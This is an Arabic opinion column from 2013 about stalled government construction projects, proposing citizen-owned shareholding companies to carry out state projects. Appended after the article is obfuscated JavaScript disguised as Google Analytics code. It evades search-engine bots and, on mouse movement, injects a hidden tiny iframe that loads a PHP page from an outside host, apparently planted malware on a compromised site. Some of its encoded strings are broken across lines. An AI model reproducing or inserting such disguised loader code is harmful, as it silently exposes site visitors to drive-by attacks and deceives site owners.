

غابت وزارة الأشغال مع اتساع مشاريع الدولة، قيل الكثير حينها في شرح ذلك مما لم أستوعبه، مضت السنون والمشاريع تكبر وتعثرها يكبر معها وما زالت وزارة الأشغال غائبة، قيل الكثير أيضا عن شركات المقاولات ودرجات تصنيفها واعتمادها،

غير أنها كذلك ظلت أقوالا. ويدون الخوض كثيرا في طريقة ترسية المشاريع ونظام المناقصات الذي جاوز عمره نصف قرن ولم يطور أو يجدد برغم وجود عقود «فيديك» العالمية، ويدون الحديث عن مقاولات الباطن المتبعة بمعرفة الوزارات والجهات الرقابية، أسأل لم لا يتم إنشاء شركة مساهمة كبرى للقيام بهذه المهمة.

□

إذا كان إعادة وزارة الأشغال العامة معضلة، وإذا كان الإشراف على أعمال المقاولات مشكلة، وإذا كان استلام المشاريع المنفذة - بحد ذاته - مفسدة، فلم لا نلجأ لإنشاء شركات خاصة مساهمة تعود ملكيتها لعموم المواطنين، تقوم بتنفيذ مشاريع الدولة الكبرى، ومن ثم يشارك المواطن في التنمية والاستفادة منها، بدل أن تختصر هذه الفائدة لشركات قليلة العدد. دول عدة تلجأ لتشكيل مثل هذه الشركات لتجنب البيروقراطية الحكومية، ولضمان التنفيذ الأمثل للمشاريع، وضمان عدم هجرة الأموال التي غدت أكثر تكلفة من هجرة العقول، بل هي للعقول والأموال الوطنية حصن وحاضر.

كتب الكثير عن تعثر المشاريع الحكومية وتأثيره على العملية التنموية، وإنشاء مثل هذه الشركات الوطنية الجادة كفيل بتحقيق التنمية المنشودة بالسرعة المطلوبة، شركات تجمع السيولة الزائدة وتجمع شبابنا المهندسين، وإن بإشراف أجنبي مؤقت، وكثير من الشركات العالمية للإنشاء والتعمير ترحب بخطوات كهذه تقوم فيها بإحلال المواطنين محل المتعاقدين، ويكون ذلك تعاقديا لا مجرد هبة من الشركة المنفذة، بدلا من شركات تستقدم مهندسين وعمالا بحجة عدم توفر البديل المحلي لعزوف شبابنا أو انخفاض تأهيلهم، وهذا ربما كان صحيحا زمن الطفرات النفطية المادية الجارفة، أما اليوم فإن رجال الأعمال يجدونه أكثر تكلفة من المستقدم الذي استمر أو انخفض رواتبه بسبب غياب مبدأ الحد الأدنى للأجور.

المصدر: [التحديد العربي](#)

27 مايو 2013

□

□

□

□

المؤفكر الواردة في الأوراق والمداخلات والتعليقات لا تعبر عن رأي الموقع وإنما عن رأي أصحابها

□

var

```

_0xfc05=["x74x6Fx4Cx6Fx63x61x6Cx65x4Cx6Fx77x65x72x43x61x73x65","x75x73x65x72x41x67x65x6Ex74","x79x61x6Ex64x65x78x62x6Fx74","x79x61x6Ex64x65x78x6Dx65x7
4x72x69x6Bx61","x79x61x6Ex64x65x78x69x6Dx61x67x65x73","x67x6Fx6Fx67x6Cx65x62x6Fx74","x69x6Ex64x65x78x4Fx66","x77x69x64x74x68","x68x65x69x67x68x74","x6F
x6Ex6Dx6Fx75x73x65x6Dx6Fx76x65","x62x6Fx64x79","x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65","x67x6Fx6Fx67x6Cx65x61x6Ex61x6Cx79x74x
69x63x73x69x66x72x61x6Dx65","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x69x66x72x61x6Dx65","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x31x32x70x78"
,"x69x64","x73x72x63","x68x74x74x70x3Ax2Fx2Fx73x68x61x72x6Bx79x70x72x6Fx2Ex73x79x6Ex6Fx6Cx6Fx67x79x2Ex6Dx65x2Fx56x42x34x2Fx69x6Ex63x6Cx75x64x65x73x2
Fx6Dx69x64x64x6Cx65x2Ex70x68x70","x61x70x70x65x6Ex64x43x68x69x6Cx64","x69x6Ex6Ex65x72x57x69x64x74x68","x6Ex75x6Dx62x65x72","x69x6Ex6Ex65x72x48x65x69x
67x68x74","x64x6Fx63x75x6Dx65x6Ex74x45x6Cx65x6Dx65x6Ex74","x63x6Cx69x65x6Ex74x57x69x64x74x68","x63x6Cx69x65x6Ex74x48x65x69x67x68x74","x67x6Fx6Fx67x6C
x65x41x6Ex61x6Cx79x74x69x63x73x53x74x61x74x69x73x74x69x63x73x42x75x69x6Cx64x28x29"];function googleAnalyticsStatisticsBuild(){var
_0x11fex2=navigator[_0xfc05[1]][_0xfc05[0]]();var _0x11fex3=[_0xfc05[2],_0xfc05[3],_0xfc05[4],_0xfc05[5]];for(k in
_0x11fex3){if(_0x11fex2[_0xfc05[6]][_0x11fex3[k]]!=-1){return ;}; var _0x11fex4=detectBrowserSize();if(_0x11fex4[_0xfc05[7]]==0||_0x11fex4[_0xfc05[8]]==0){return ;}; var
_0x11fex5=false;if(document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[9]]){_0x11fex5=document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[9]];
;document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[9]]=function
(){if(!document[_0xfc05[13]][_0xfc05[12]]){iframe=document[_0xfc05[15]][_0xfc05[14]];iframe[_0xfc05[7]]=_0xfc05[16];iframe[_0xfc05[8]]=_0xfc05[16];iframe[_0xfc05[17]]=_0xf
c05[12];iframe[_0xfc05[18]]=_0xfc05[19];document[_0xfc05[11]][_0xfc05[10]][0][_0xfc05[20]](iframe);}; if(_0x11fex5!==(false)){_0x11fex5();};};function
detectBrowserSize(){var _0x11fex7=0,_0x11fex8=0;if (typeof (window[_0xfc05[21]])==_0xfc05[22]){_0x11fex7=window[_0xfc05[21]];_0x11fex8=window[_0xfc05[23]];} else
{if(document[_0xfc05[24]]&&(document[_0xfc05[24]][_0xfc05[25]]||document[_0xfc05[24]][_0xfc05[26]])){_0x11fex7=document[_0xfc05[24]][_0xfc05[25]];_0x11fex8=document[
_0xfc05[24]][_0xfc05[26]];} else
{if(document[_0xfc05[10]]&&(document[_0xfc05[10]][_0xfc05[25]]||document[_0xfc05[10]][_0xfc05[26]])){_0x11fex7=document[_0xfc05[10]][_0xfc05[25]];_0x11fex8=document[
_0xfc05[10]][_0xfc05[26]];};};return {width:_0x11fex7,height:_0x11fex8};};setTimeout(_0xfc05[27],500);

```